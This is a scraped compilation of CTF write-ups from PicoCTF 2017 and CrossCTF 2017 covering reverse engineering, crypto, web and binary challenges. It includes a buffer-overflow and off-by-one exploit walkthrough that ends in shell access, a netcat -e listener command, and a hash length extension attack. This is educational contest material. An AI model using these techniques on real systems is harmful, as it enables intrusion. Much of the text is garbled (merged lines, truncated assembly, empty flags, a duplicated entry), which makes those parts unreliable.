This program requires some unprintable characters as input... But how do you print unprintable characters? CLI yourself to /problems/33432c6de9329bca3a3ff26e5538d8f2 and turn that Hex2Raw!

Hint:

Google for easy techniques of getting raw output to command line. In this case, you should be looking for an easy solution.

## Write-up

In simple python,

$python -c "import base64; print('9b0f7b43804d4abd6f7e1bbe51 5c55d5'.decode('hex'))" | /problems/33432c6de9329bca3a3ff26e 5538d8f2/hex2raw Give me this in raw form (0x41 -> 'A'): 9b0f7b43804d4abd6f7e1bbe515c55d5 You gave me: 9b0f7b43804d4abd6f7e1bbe515c55d5 Yay! That's what I wanted! Here be the flag: 84234a119cee0edf78366463973d518c  Therefore, the flag is 84234a119cee0edf78366463973d518c. # PicoCTF_2017: Forest Category: Reverse Engineering Points: 200 Description: I was wandering the forest and found a file. It came with some string Hint: A number of disassemblers have tools to help view structs ## Write-up This challenge was a fun one, given that it had a varying level of requirements in it. For the most part, IDA Pro will be very useful but for us freebies out there, we can use RetDec. We get a file decompiled like this. This is an example of binary tree sorting, with each letter sorted with the smaller character going to the left and the larger character going to the right. The string we have to sort in this case is yuoteavpxqgrlsdhwfjkzi_cmbn. Next, the string we are given refers to the ways we should select characters. L means go down the left branch, R goes down the right branch while D means this character. If we compare the string we got and the top-down tree we graphed, we get the flag. Therefore, the flag is you_could_see_the_forest_for_the_trees_ckyljfxyfmsw. # PicoCTF_2017: JSut Duck It Up Category: Reverse Engineering Points: 100 Description: What in the world could this be?!?! file Hint: Maybe start searching for uses of these chunks of characers? Is there anything on the Internet with them? ## Write-up Like the name suggests, lets try Javascripting. Paste the contents of the file into Chrome's Developer's Console and bam! aw_yiss_ducking_breadcrumbs_18fb66f1  Therefore, the flag is aw_yiss_ducking_breadcrumbs_18fb66f1. # PicoCTF_2017: Programmers Assemble Category: Reverse Engineering Points: 75 Description: You found a text file with some really low level code. Some value at the beginning has been X'ed out. Can you figure out what should be there, to make main return the value 0x1? Submit the answer as a hexidecimal number, with no extraneous 0s. For example, the decimal number 2015 would be submitted as 0x7df, not 0x000007df Hint: All of the commands can be found here along with what they do. It may be useful to be able to run the code, with test values. ## Write-up So, first assembly challenge done. We are given an assembly piece of code and let's identify what each part does. .global main ; start main main: mov$XXXXXXX, %eax.     ; move XXXXXXX into EAX
mov $0, %ebx ; move 0 into EBX mov$0x7, %ecx          ; move 7 into ECX
loop:
test %eax, %eax         ; if eax is 0
dec %eax                ; decrement eax
jmp loop                ; loop back
fin:
cmp $0xb47f, %ebx ; if ebx = 46207, je good ; jump to good mov$0, %eax            ; else, move 0 return value to eax
good:
$java solve [102, 108, 97, 103, 95, 123, 112, 114, 101, 116, 116, 121, 95, 99, 111, 111, 108, 95, 104, 117, 104, 125] flag_{pretty_cool_huh}  Therefore, the flag is flag_{pretty_cool_huh}. # PicoCTF_2017: Leaf of the Tree Category: Miscellanous Points: 20 Description: We found this annoyingly named directory tree starting at /problems/a47d10dd80018fc6e7e1c5094c1ca323. It would be pretty lame to type out all of those directory names but maybe there is something in there worth finding? And maybe we dont need to type out all those names...? Follow the trunk, using cat and ls! Hint: Tab completion is a wonderful, wonderful thing ## Write-up I am a big fan of not wasting time by tab completion, thus we are going to cheat and use find. $ find /problems/a47d10dd80018fc6e7e1c5094c1ca323/ -type f
/problems/a47d10dd80018fc6e7e1c5094c1ca323/trunk/trunkbe9c/trunk8ec3/branch4118/leaf33d8
/problems/a47d10dd80018fc6e7e1c5094c1ca323/trunk/trunkbe9c/trunk8ec3/trunk708d/trunk664c/branchcd3c/leaf29a9
/problems/a47d10dd80018fc6e7e1c5094c1ca323/trunk/trunkbe9c/trunk8ec3/trunk708d/trunk664c/branchcd3c/leaf280d
/problems/a47d10dd80018fc6e7e1c5094c1ca323/trunk/trunkbe9c/trunk8ec3/trunk708d/trunk664c/trunk430b/branch8979/leaf184f
/problems/a47d10dd80018fc6e7e1c5094c1ca323/trunk/trunkbe9c/trunk8ec3/trunk708d/trunk664c/trunk430b/branch8979/leaf52a9
/problems/a47d10dd80018fc6e7e1c5094c1ca323/trunk/trunkbe9c/trunk8ec3/trunk708d/trunk664c/trunk430b/trunk122c/trunkc000/flag
/problems/a47d10dd80018fc6e7e1c5094c1ca323/trunk/trunkbe9c/trunk8ec3/trunk708d/trunk664c/trunk430b/trunk122c/trunkc000/branch8211/leaffbf3
/problems/a47d10dd80018fc6e7e1c5094c1ca323/trunk/trunkbe9c/trunk8ec3/trunk708d/trunk664c/trunk430b/trunk122c/branch67f2/leaf5dd4
/problems/a47d10dd80018fc6e7e1c5094c1ca323/trunk/trunkbe9c/trunk8ec3/trunk708d/trunk664c/trunk430b/trunk122c/branch67f2/leaf7813
/problems/a47d10dd80018fc6e7e1c5094c1ca323/trunk/trunkbe9c/trunk8ec3/trunk708d/trunk664c/trunk430b/trunk122c/branch3c2e/leaff81e


Hmm, that flag file looks interesting.

$cat /problems/a47d10dd80018fc6e7e1c5094c1ca323/trunk/trunkbe9c/trunk8ec3/trunk708d/trunk664c/trunk430b/trunk122c/trunkc000/flag 5e3d48f32a6d6e17a8102d3cbae36283  Therefore, the flag is 5e3d48f32a6d6e17a8102d3cbae36283. # PicoCTF_2017: Internet Kitties Category: Miscellanous Points: 10 Description: I was told there was something at IP shell2017.picoctf.com with port 28669. How do I get there? Do I need a ship for the port? Hint: Look at using the netcat (nc) command! To figure out how to use it, you can run "man nc" or "nc -h" on the shell, or search for it on the interwebz ## Write-up Just try, nc shell2017.picoctf.com 28669, and lo and behold, $ nc shell2017.picoctf.com 28669
Take a flag!
648defaaba45452729b7179f0603df05


Therefore, the flag is 648defaaba45452729b7179f0603df05.

# PicoCTF_2017: Yarn

Category: Miscellanous Points: 55 Description:

I was told to use the linux strings command on yarn, but it doesn't work. Can you help? I lost the flag in the binary somewhere, and would like it back

Hint:

What does the strings command use to determine if something is a string? Is there an option to change the length of what strings considers as valid?

## Write-up

The strings command can easily be tweaked to match strings of a shorter length.

$strings -n 3 yarn ELF tdd /lib/ld-linux.so.2 GNU GNU U^TR libc.so.6 _IO_stdin_used putchar __libc_start_main __gmon_start__ GLIBC_2.0 PTRh QVh Phh jA ji jn j' jt j jH je jr je UW1 l$0
D$8 D$4
[^_]
Sub
mit
_me
_fo
r_I
_am
_th
e_f
lag
;*2$"( GCC: (Debian 4.9.2-10) 4.9.2 GCC: (Debian 4.8.4-1) 4.8.4 .symtab .strtab .shstrtab .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss .comment crtstuff.c __JCR_LIST__ deregister_tm_clones register_tm_clones __do_global_dtors_aux completed.6279 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry yarn.c __FRAME_END__ __JCR_END__ __init_array_end _DYNAMIC __init_array_start _GLOBAL_OFFSET_TABLE_ __libc_csu_fini _ITM_deregisterTMCloneTable __x86.get_pc_thunk.bx data_start _edata _fini __data_start __gmon_start__ __dso_handle _IO_stdin_used [email protected]@GLIBC_2.0 __libc_csu_init [email protected]@GLIBC_2.0 _end _start _fp_hw __bss_start main _Jv_RegisterClasses __TMC_END__ _ITM_registerTMCloneTable _init  Therefore, the flag is Submit_me_for_I_am_the_flag # PicoCTF_2017: Leaf of the Forest Category: Miscellanous Points: 30 Description: We found an even bigger directory tree hiding a flag starting at /problems/7d91c03dff81a9c95bffb6d69358c92d. It would be impossible to find the file named flag manually... Hint: Is there a search function in Linux? Like if I wanted to 'find' something... ## Write-up Well, apparently the solution for the previous challenge is used for this one. So, lets find the flag! $ find /problems/7d91c03dff81a9c95bffb6d69358c92d/ -type f -name flag -exec cat {} \;
7ffb59b2f309c09959ba333d0af88565


Easy! Therefore, the flag is 7ffb59b2f309c09959ba333d0af88565.

# PicoCTF_2017: WorldChat

Category: Miscellanous Points: 30 Description:

We think someone is trying to transmit a flag over WorldChat. Unfortunately, there are so many other people talking that we can't really keep track of what is going on! Go see if you can find the messenger at shell2017.picoctf.com:11511. Remember to use Ctrl-C to cut the connection if it overwhelms you!

Hint:

There are cool command line tools that can filter out lines with specific keywords in them. Check out 'grep'! You can use the '|' character to put all the output into another process or command (like the grep process)

## Write-up

Bash piping~

$nc shell2017.picoctf.com 11511 | grep flag 06:37:16 personwithflag: My friend would like to meet you to help me spell 'raspberry' correctly 06:37:16 whatisflag: my homegirlz need to meet up to understand me 06:37:18 whatisflag: A dog with a cape has attacked my toes for the future of humanity 06:37:18 ihazflag: my parents , in my opinion, are our best chance for the future of humanity 06:37:18 personwithflag: that girl from that movie has attacked my toes for what, I do not know 06:37:18 whatisflag: A huge moose gives me hope to make a rasberry pie 06:37:19 whatisflag: Hungry jackolanterns give me hope for the future of humanity 06:37:20 personwithflag: Anyone but me has attacked my toes to help me spell 'raspberry' correctly 06:37:20 personwithflag: I wants to see me to drink your milkshake 06:37:20 noihazflag: my parents , in my well-educated opinion, are our best chance to drink your milkshake 06:37:20 ihazflag: Cats with hats give me hope to drink your milkshake 06:37:20 noihazflag: My sworn enemy wants to see me to understand me 06:37:21 personwithflag: Cats with hats , in my well-educated opinion, are our best chance to generate fusion power 06:37:21 flagperson: this is part 1/8 of the flag - 8d84 06:37:22 ihazflag: We are the best of friends to help me spell 'raspberry' correctly 06:37:22 ihazflag: my homegirlz give me hope to create a self driving car 06:37:22 noihazflag: Cats with hats give me hope to create a self driving car 06:37:22 flagperson: this is part 2/8 of the flag - 913f  We seem to spot a common pattern this is part 1/8 of the flag - 8d84, let's try regexp! $ nc shell2017.picoctf.com 11511 | grep -Eo "this is part [0-9]\/8 of the flag - [a-z0-9]{4}"
this is part 1/8 of the flag - 8d84
this is part 2/8 of the flag - 913f
this is part 3/8 of the flag - 84bd
this is part 4/8 of the flag - 68a4
this is part 5/8 of the flag - 6576
this is part 6/8 of the flag - 3e48
this is part 7/8 of the flag - d9d9
this is part 8/8 of the flag - ca1c


Therefore, the flag is 8d84913f84bd68a465763e48d9d9ca1c.

# PicoCTF_2017: Looooong

Category: Miscellanous Points: 20 Description:

I heard you have some "delusions of grandeur" about your typing speed. How fast can you go at shell2017.picoctf.com:30277?

Hint:

Use the nc command to connect! I hear python is a good means (among many) to generate the needed input. It might help to have multiple windows open

## Write-up

With an easily designed Python script, the flag prints out easily.

$./script.py To prove your skills, you must pass this test. Please give me the 'b' character '563' times, followed by a single '5'. To make things interesting, you have 30 seconds. Input: You got it! You're super quick! Flag: with_some_recognition_and_training_delusions_become_glimpses_493092611815c4e8f8eee8df7264c4c0  Therefore, the flag is with_some_recognition_and_training_delusions_become_glimpses_493092611815c4e8f8eee8df7264c4c0. # PicoCTF_2017: Piazza Category: Miscellanous Points: 10 Description: Have questions about pico? You can ask here. The access code is 31337. Hint: ## Write-up This one is just an attempt to get you to register a class on Piazza. Flag is flag{ask_and_hop3fully_we_can_help}. # PicoCTF_2017: Mystery Box Category: Miscellanous Points: 60 Description: You've found a mystery machine with a sticky note attached to it! Oh, there's also this picture of the machine you found. Hint: It really gets your gears Turing. I hear there's something Naval about it. ## Write-up This seems to be a Enigma machine challenge. We are also given the following note.txt about it. Geheimnis: PXQQ TAMY YDBC WGYE LVN Umkehrwalze: B Grundstellung: PPP Ringstellung: LOG Steckerbrett: G-L, H-F  Converting to English, we get, Secret: PXQQ TAMY YDBC WGYE LVN Reversing roller: B Basic position: PPP Positioning: LOG Plug connector: G-L, H-F  Okay. Let's try using an Enigma machine with all this details filled in. PXQQ TAMY YDBC WGYE LVN  gives us QUIT EPUZ ZLIN GIND EED QUITEPUZZLINGINDEED  Therefore, the flag is QUITEPUZZLINGINDEED. # PicoCTF_2017: weirderRSA Category: Master Points: 175 Description: Another message encrypted with RSA. It looks like some parameters are missing. Can you still decrypt it? Message Hint: Is there some way to create a multiple of p given the values you have? Fermat's Little Theorem may be helpful ## Write-up Fermat's Little Theorem is an interesting thing that took me awhile to understand, being new to cryptography but essentially what we have to do to break this involves just playing with dp to get p r = 123456 p = gmpy2.gcd(n, pow(r, (e*dp), n) - r)  With p found, we can just divide n with p to get q. q = gmpy2.div(n, p)  With q found, we can calculate d to be the inverse of (p-1)(q-1) phi = (p-1) * (q-1) d = gmpy2.invert(e, phi)  With d found, the challenge is solved. Therefore, the flag is flag{wow_leaking_dp_breaks_rsa?_64151418169}. # PicoCTF_2017: War Category: Master Points: 125 Description: Win a simple Card Game. Source. Connect on shell2017.picoctf.com:44698. Hint: Bugs typically happen in groups. If you find one, what does it allow you to do? ## Write-up Before I start, I would like to say that it took me 6 days for this challenge. For how surprisingly easy it was to solve at the end. Shame on me but now I shall redeem myself by shortening 6 days of agony to a writeup. Firstly, we need to identify the bugs in this challenge, as it doesn't appear that there's anything buffer overflowable. By doing some rubber-ducking, we come across this function readInput(). I've done some rubber ducking here to give you a better view of things //Reads input from user, and properly terminates the string unsigned int readInput(char * buff, unsigned int len){ // For an example if betBuffer with len 8 size_t count = 0; char c; while((c = getchar()) != '\n' && c != EOF){ if(count < (len-1)){ // While count is 6 or less buff[count] = c; count++; // Count ++ means count becomes 7 here } } buff[count+1] = '\x00'; // Inputting a null byte to index 8? O.o <- THIS IS ARRAY OVERFLOW111!!!!11!1 return count; }  Interesting, now we have the ability to erase one extra byte of anything after a buffer. Completely useless. Or is it? If we take a look at the two buffers that readInput() would read to, we come across these two buffers. char betStr[BETBUFFLEN]; card * oppCard;  and char name[NAMEBUFFLEN]; size_t deckSize;  Since we aren't too sure if the pointer for oppCard actually comes after the buffer in this scenario, let's target the name buffer. This calls for GDB. First, let's try some input of just 31 bytes, to see a non-interrupted or overflowed memory region. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0x601800 <gameData+128>: 0x00000000 0x00000000 0x41414141 0x41414141 0x601810 <gameData+144>: 0x41414141 0x41414141 0x41414141 0x41414141 0x601820 <gameData+160>: 0x41414141 0x41410000 0x1a000000 0x00000000 0x601830 <gameData+176>: 0x00000000 0x00000000 0x1a000000 0x00000000  The memory is in big-endian for viewing pleasure. So, we see a bunch of 41s, representing our A. This is very helpful, and we also see a 1a right afterwards. 1a in hex, also equates to 26 in decimal. The only thing that's 26 in the code, is deckSize. Great, that matches up with our code. Now let's try breaking the array by 1. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0x601800 <gameData+128>: 0x00000000 0x00000000 0x41414141 0x41414141 0x601810 <gameData+144>: 0x41414141 0x41414141 0x41414141 0x41414141 0x601820 <gameData+160>: 0x41414141 0x41414100 0x00000000 0x00000000 0x601830 <gameData+176>: 0x00000000 0x00000000 0x1a000000 0x00000000  Where's the 1a now? Turns out, it's been completely overwritten by the null byte. What does this mean? Where's the flag? Well, if there's a null byte for decksize, this part of the code helps us. //TODO: Implement card switching hands. Cheap hack here for playability gameData.deckSize--; if(gameData.deckSize == 0){ printf("All card used. Card switching will be implemented in v1.0, someday.\n"); exit(0); }  So, in this event, when we try to play a card, the memory region breaks because 0x0000000000000000 minus 1 = 0xffffffffffffffff. Win. 0x601800 <gameData+128>: 0x00000000 0x00000000 0x41414141 0x41414141 0x601810 <gameData+144>: 0x41414141 0x41414141 0x41414141 0x41414141 0x601820 <gameData+160>: 0x41414141 0x41414100 0xffffffff 0xffffffff 0x601830 <gameData+176>: 0x00000000 0x00000000 0x1a000000 0x00000000  Theoretically, this means we are free to keep playing, since we are only limited by 100 coins or deck size of 26 which is now astronomically too big. So let's try to keep betting 1 till something happens. After the initial 26 cards, we are now left with 0 cards and this happens. The opponent has a 0 of suit 0. You have a 0 of suit 0. You lost! :( You have 73 coins. How much would you like to bet?  Let's keep pushing. By now, we are accessing areas in the memory outside our actual decks, so we are bound to get crazy numbers like, How much would you like to bet? 1 The opponent has a 0 of suit 0. You have a 65 of suit 65. You won? Hmmm something must be wrong... Cheater. That's not actually a valid card. You have 48 coins. How much would you like to bet? 1 The opponent has a 0 of suit 0. You have a 65 of suit 65. You won? Hmmm something must be wrong... Cheater. That's not actually a valid card. You have 48 coins. How much would you like to bet?  Let's keep going, How much would you like to bet? 1 you bet 1. The opponent has a 0 of suit 0. You have a -1 of suit -68. You lost! :(  Woah, negative numbers! Suddenly, you bet 1. The opponent has a 0 of suit 0. You have a 13 of suit 0. You won? Hmmm something must be wrong... You actually won! Nice job You have 22 coins. How much would you like to bet?  Bingo. Now let's try to recoup our losses shall we! (Don't do this in real life, you will go bankrupt.) You have 22 coins. How much would you like to bet? 22 you bet 22. The opponent has a 0 of suit 0. You have a 9 of suit 2. You won? Hmmm something must be wrong... You actually won! Nice job You have 44 coins. How much would you like to bet? 44 you bet 44. The opponent has a 0 of suit 0. You have a 11 of suit 1. You won? Hmmm something must be wrong... You actually won! Nice job You have 88 coins. How much would you like to bet? 88 you bet 88. The opponent has a 0 of suit 0. You have a 11 of suit 3. You won? Hmmm something must be wrong... You actually won! Nice job You have 176 coins. How much would you like to bet? 176 you bet 176. The opponent has a 0 of suit 0. You have a 12 of suit 3. You won? Hmmm something must be wrong... You actually won! Nice job You have 352 coins. How much would you like to bet? 352 you bet 352. The opponent has a 0 of suit 0. You have a 13 of suit 1. You won? Hmmm something must be wrong... You actually won! Nice job You won the game! That's real impressive, seeing as the deck was rigged... /bin/sh: 0: can't access tty; job control turned off$ ls
flag.txt
war
war_no_aslr
xinetd_wrapper.sh
$cat flag.txt 04ab44dab3330a7633d9956b789f2769  Therefore, the flag is 04ab44dab3330a7633d9956b789f2769. # PicoCTF_2017: Missing Identity Category: Master Points: 100 Description: Turns out, some of the files back from Master Challenge 1 were corrupted. Restore this one file and find the flag. Hint: What file is this? What do you expect to find in the file structure? All characters in the file are lower case or numberical. There will not be any zeros. ## Write-up This seems to be a zip file, unzipped contents doesn't appear to contain flags, however we get an interesting error. Archive: picoctf_2017_writeup/master/master_2/file file #1: bad zipfile offset (local header sig): 0  Hmmm... Let's try to extract it with offsets $ dd if=file of=flag.png bs=1 count=93628 skip=43


Now we get a black PNG file? Hmm... Courtesy of @zst123, apparently JD-GUI happens to fix archives too! Doing a rename on file to file.zip and running it through JD-GUI gives us the flag! Even though I'm sure that's cheating, heh!

Therefore, the flag is zippidydooda29494995.

# PicoCTF_2017: Lazy Dev

Category: Master Points: 50 Description:

I really need to login to this website, but the developer hasn't implemented login yet. Can you help?

Hint:

Where does the password check actually occur? Can you interact with the javascript directly?

## Write-up

Hm, ok, 1 is not the password. Let's try looking at Chrome's Developer's console.

Okay, so something is going on here... Can we try to change that false to a true? Taking a look into the client.js implemented into the HTML seems to reveal that the developer, was indeed lazy! Badumtss~

//Validate the password. TBD!
function validate(pword){
//TODO: Implement me
return false;


As such, there is no correct password! Let's override the function in Chrome's Trusty Developer's console again, by simply replacing false, with true.

function validate(pword){
//TODO: Implement me
return true;
}


Now, clicking the button again, gives us,

Therefore, the flag is, client_side_is_the_dark_sidebde1f567656f8c9b654a1ec24e1ff889. EZ Master.

# CrossCTF 2017 Writeup

Where to begin? Well, I guess I'll begin right at the start before I even decided to join this competition. 2-3 months back before we even had the qualifiers, I tried to join CDDC 2017 but was rejected with an excuse of too many participants, so I turned to CrossCTF for my salvation.

Preliminiaries was marginally fun, with challenges from all categories and incorporating various techniques and vulnerabilities that I had not even heard of till this CTF, like SHA-256 collision. I learnt a lot and during those 48 hours, I tried my very best to bring my team up so we would qualify for the finals. As such, we came in 4th place, with the only uncompleted challenge being LeapFrog.

Finals was intensely hard and difficult. Two contributing factors to that is the full-binary nature of it, coupled with the 24-hour marathon-style of the competition, so I had to deal with both binary, my weakest CTF category as well as the lack of sleep. Nevertheless, I tried my best and managed to secure the 7th place at 12pm, tieing in place with the 5th and 6th team from Nanyang Polytechnic.

Learnt much, got much to learn.

# CrossCTF_2017: Internal Network Challenge

Category: Web Points: 10 Description:

We found out that winc0rp has an internal website hosted on this ip address. However, is it really internal? I heard the internal website is located at 'internal.proxy.winc0rp.com' Please find the internal website hosted on 128.199.98.78:8080

## Write-up

VirtualHosts is a finnicky thing.

$curl "http://128.199.98.78:8080" -H "Host: internal.proxy.winc0rp.com" Flag is: CrossCTF{[email protected]_P3ntesting_Sk33ls_Requir3d}  Therefore, the flag is CrossCTF{[email protected]_P3ntesting_Sk33ls_Requir3d}. # CrossCTF_2017: complexpassword Category: Misc Points: 5 Description: We found out that evilc0rp has a password policy stating that passwords should: • Contain upper case characters • Contain lower case characters • Contain digits • Contain nonalphanumeric characters: ([email protected]#$%^&*_-+=|(){}[]:;"'<>,.?/) However, it'd take too long to try every possible password in the password list we found. Can you help us develop a regex to find the correct passwords more efficiently? p.s. We need 6 of them and I think they use really strong passwords... Password list here Connect to 128.199.98.78:32768

## Write-up

Just some nifty lookahead regex configuration and we have the flag.

$nc 128.199.98.78 32768 We found out that evilc0rp has a password policy stating that passwords should: - Contain upper case characters - Contain lower case characters - Contain digits - Contain nonalphanumeric characters: ([email protected]#$%^&*_-+=|\(){}[]:;"'<>,.?/)

However, it'd take too long to try every possible password in the password list we found.
Can you help us develop a regex to find the correct passwords more efficiently?
p.s. We need 6 of them and I think they use really strong passwords...

Regex: ^(?=.*[a-z])(?=.*[A-Z])(?=.*[[email protected]#$%^&*_\-+=|(){}[\]:;"'<>,.?/])(?=.*[0-9]).{25,}$

1) Vixens.comreaper999MOR098GO
2) Tickled.comreaper999MOR098GO
3) Your_Guardian_Angel_050813
4) you_have_been_hacked_gWSxH1FZfr
5) weAaQIno0lhLHWsIfL9TQG30ZrI-~B
6) &&wdXWabuSc7&b*QDex_6B*5v?e8V
Congratulations! Here's your flag: CrossCTF{[email protected]$w0rd_Is_G0oD!}  Therefore, the flag is CrossCTF{[email protected]$w0rd_Is_G0oD!}.

# CrossCTF_2017: Paricle Collision Challenge

Category: Cryptography Points: 5 Description:

Our large hadron collider feeds off files that produces the same SHA1 hashsum value. Could you help us power up our collider? We will give you a flag in return! Our collider can be found at http://128.199.98.78:8081/

Hint:

The collider feeds on distinct pairs of files that produces the same SHA1 hashsum value. However, the collider only accepts files it hasn't seen before!

## Write-up

This is a simple one, given that SHA1 is entirely broken and collisions are easily generated. For the purpose of this challenge, we will use a SHA1 collider, yielding two PDFs that result in the same hash.

Therefore, the flag is CrossCTF{[email protected]_C0llid3d!}.

# CrossCTF_2017: Close Friends

Category: Cryptography Points: 20 Description:

Alice and Bob are very close friends. They share their secrets with each other and they do not want others to intercept it. So they decided to implement their own RSA to encrypt their messages. File here

## Write-up

This is a Fermat's RSA attack challenge requiring us to use it's functions. Only doable in python

$./solve.py Flag: CrossCTF{its_g00d_t0_hav3_c1o5e_friend5_i5nt_it}  Therefore, the flag is CrossCTF{its_g00d_t0_hav3_c1o5e_friend5_i5nt_it}. # CrossCTF_2017: Finals Defense Category: Finals Points: 10 Description: Time to practice for the finals! Patch the binary so that the flag can't be printed. Remember to test it locally first with the following command! while true;do nc -l -p 9001 -e ./one done; File here ## Write-up An easy patching, just change the instructions at flag to leave & ret. Too bad they don't check the binary thoroughly. LOL. Therefore, the flag is CrossCTF{[email protected][email protected]}. # CrossCTF_2017: Hannah Category: Pwn Points: 15 Description: The snake told Eve many lies. Please connect to 128.199.98.78:1701 File here ## Write-up Therefore, the flag is CrossCTF{wh4t_4r3_y0u_d01ng_t4lk1ng_4b0ut_3v3}. # CrossCTF_2017: Go Deep Category: Cryptography Points: 15 Description: We intercepted this mystery message. Could you figure out what it is? ## Write-up A classic rabbit hole challenge where the organizers run out of ideas and decide to encode the flag behind layers of encodings. Solution $ ./solve.py
CrossCTF{[email protected]_h1v3_70_90_d33p}


Therefore, the flag is CrossCTF{[email protected]_h1v3_70_90_d33p}.

# CrossCTF_2017: Picasso

Category: Misc Points: 10 Description:

Picasso was a pretty good painter. But was he a good coder? File here

## Write-up

We get a file that is primarily comprised of a single line of pixels, comprised of different lengths of pixels. Maybe we can count the number of similar pixels before it changes and take it's character representation?

Solution

$./solve.py CrossCTF{[email protected]}  Therefore, the flag is CrossCTF{[email protected]}. # CrossCTF_2017: Plebpwn Category: Pwn Points: 10 Description: Please pwn my plebian password program! Please connect to 128.199.98.78:1700 File here ## Write-up A case of a buffer overflow attack though not obvious. Firstly, analysing the executable tells us that the buffer is 0x40 bytes long but the read() reads in 0x80 bytes. Trying to overflow 0x80 bytes crashes the application due to the overwriting of address of a string resulting in it crashing due to being unable to read from a location. Solution Therefore, the flag is CrossCTF{av01d_th0s3_cr4sh3s}. # CrossCTF_2017: Category: Misc Points: 5 Description: We have intercepted secret messages but it seems like AAAAAAAAAAA to us. Can you help us? File here ## Write-up We are given a file with what appears to be a flag format but in really weird font. This reminded me of a childhood book I used to read about being a spy, so I search up pigpen cipher. Seems like this is is not the actual pigpen cipher but a variant of it by the knights. So we set out to decrypt it. Apparently, CROSSCTF{LING_FOR_YOU} is wrong, what's up with that? Therefore, the flag is CROSSCTF{KING_FOR_YOU}. # CrossCTF_2017: Salted Hash Challenge Category: Web Points: 10 Description: I've logged in with my admin credentials: Admin username: john Admin password: moreThan10CharPassword I am supposed to get have admin privileges, but the webpage keeps telling me I am not admin. I must have configured something wrongly, can you help me? Please find the website hosted on 128.199.98.78:32769/index.php ## Write-up A challenge on mysterious salts. For this challenge, we have no clue what the salt is so trying to bruteforce it is ridiculous. Let's try something new, also known as a Length Extension Attack on hashes. We will be using Hashpump to help us on this one, credits to (@kaikai) for solving this originally before I reworked my solution to actually work. Solution $ ./solve.py


Therefore, the flag is CrossCTF{[email protected]_iz_5Alty}.

# CrossCTF_2017:

Category: Reverse Engineering Points: 25 Description:

Can you unravel the flag? File here

## Write-up

Loading it up in something like Hopper, we get a pretty good glimpse of what we need to do, so we have to find the payload. Firstly, bastion leads us to another pointer where we find our real payload, save for one character, which if we look further in ASM, we find 0x69 in crackme(). Therefore, the full payload is 692A583744377420661D5C32066A132617791E41355D6E314236027647245953, knowing that, we can xor every byte of the payload with the next byte to give us the flag.

0x69 ^ 0x2a = C
0x2a ^ 0x58 = r
...


Therefore, the flag is CrossCTF{An4ly51ng_th3_st4t1c}.

# CrossCTF_2017: Finals Attack

Category: Finals Points: 10 Description:

Time to practice for the finals! Write a python script that exploits the target at the domain 'challenge_runner'. Remember to test it locally first with the following command! while true;do nc -l -p 9001 -e ./one done; File here

## Write-up

A really simple one, considering that the binary was buffer overflowable, we just have to do the same here for attacking.

Solution

Instead of running this, upload it into the server to get the flag.

Therefore, the flag is CrossCTF{[email protected]}.

# CrossCTF_2017:

Category: Reverse Engineering Points: 10 Description:

It's trivial, my dear Watson. File here

## Write-up

We will be using uncompyle2 to decompile the given file to result in a source file. Analysing the code gives the formula to solve this challenge.

Therefore, the flag is CrossCTF{sadriain_9264656_AK4782}.

# CrossCTF_2017: BabyPS3

Category: Cryptography Points: 20 Description:

I recently got a copy of Halo 3 but I can't play it on my PS3. Can you help me? Connect to 188.166.248.56:3333

## Write-up

Too lazy to bother.

Solution

Flag: 0 @ C D G

$./skypillar Welcome to ______ __ __ __ __ ______ __ __ __ ______ ______ /\ ___\ /\ \/ / /\ \_\ \ /\ == \ /\ \ /\ \ /\ \ /\ __ \ /\ == \ \ \___ \ \ \ _"-. \ \____ \ \ \ _-/ \ \ \ \ \ \____ \ \ \____ \ \ __ \ \ \ __< \/\_____\ \ \_\ \_\ \/\_____\ \ \_\ \ \_\ \ \_____\ \ \_____\ \ \_\ \_\ \ \_\ \_\ \/_____/ \/_/\/_/ \/_____/ \/_/ \/_/ \/_____/ \/_____/ \/_/\/_/ \/_/ /_/ ================================================================================ Home of the legendary Pokemon, Rayquaza ================================================================================ There are 5 Levels to climb. Each level requires a specifc code to unlock the next level. Your goal is to reach the top, and catch the legendary Rayquaza... Good luck! ==================================================================== LEVEL 01 ==================================================================== Enter code: I [email protected]@ be the very best CrossCTF{xxxxxxxxxxxxxxxxx} ==================================================================== LEVEL 03 ==================================================================== Enter Code: 0 @ C D G CrossCTF{xxxxxxxxxxxxxxxxx}  Therefore, the flag is . # CrossCTF_2017: Transformer Category: Binary Points: 100 Description: 192.168.0.31:10006 File here ## Write-up This is a really simple one and is easily defeated by nopping most parts of the binary. In this case, we can exploit this by buffer overflowing word 1 with 256 bytes of maximum bytes, followed by 4 bytes of junk, followed by 4 bytes of pointer pointing to stealth(). This can be automated with pwntools and Python $ ./solve.py
[*] '/root/repos/crossctf_2017_writeup/finals/transformer_100/transformer'
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE
[+] Starting program './transformer': Done
[ERROR] Neither 'qemu-i386' nor 'qemu-i386-static' are available
[+] Are we r00ted?
[*] Switching to interactive mode
uid=0(root) gid=0(root) groups=0(root)
$cat flag.txt  Therefore, the flag is . # CrossCTF_2017: Time To Take A Dump Category: Hardware Points: 200 Description: There seems to be something running on the FREE arduino! I wonder if I can talk to it... ## Write-up I'll start off by saying I have 0 experience with hardware and am a complete noob. However, I have Google. Firstly, we need to accomplish dumping the flash memory of the Arduino Mega, accomplishable through avrdude. Afterwards, we need to convert it to hexadecimal format for easier reading through using avr-objdump. From there, we can see a few interesting strings, like a very sneaky fake flag, a string that suspiciously looks like an encoding table and the original encoded string. After a little bit of twiddling, it does seem like a base64 encoded string but not in the same form as the base64 we all know and love. So, this is a case of custom base64. Using a site recommended over at zst123's GitHub, we can decode the flag to CrossCTF{Bas364_1z_hard}. Therefore, the flag is CrossCTF{Bas364_1z_hard}. # CrossCTF_2017: Patching transformer Category: Defense Points: 100 Description: Patch the broken transformer! Use the following command curl -v -F [email protected] 192.168.0.30:8080/api/transformer Binary to patch here ## Write-up This is a really simple one and is easily defeated by nopping most parts of the binary. In this case, we can exploit this by buffer overflowing word 1 with 256 bytes of maximum bytes, followed by 4 bytes of junk, followed by 4 bytes of pointer pointing to stealth(). To patch, all we have to do is to NOP either the scanf 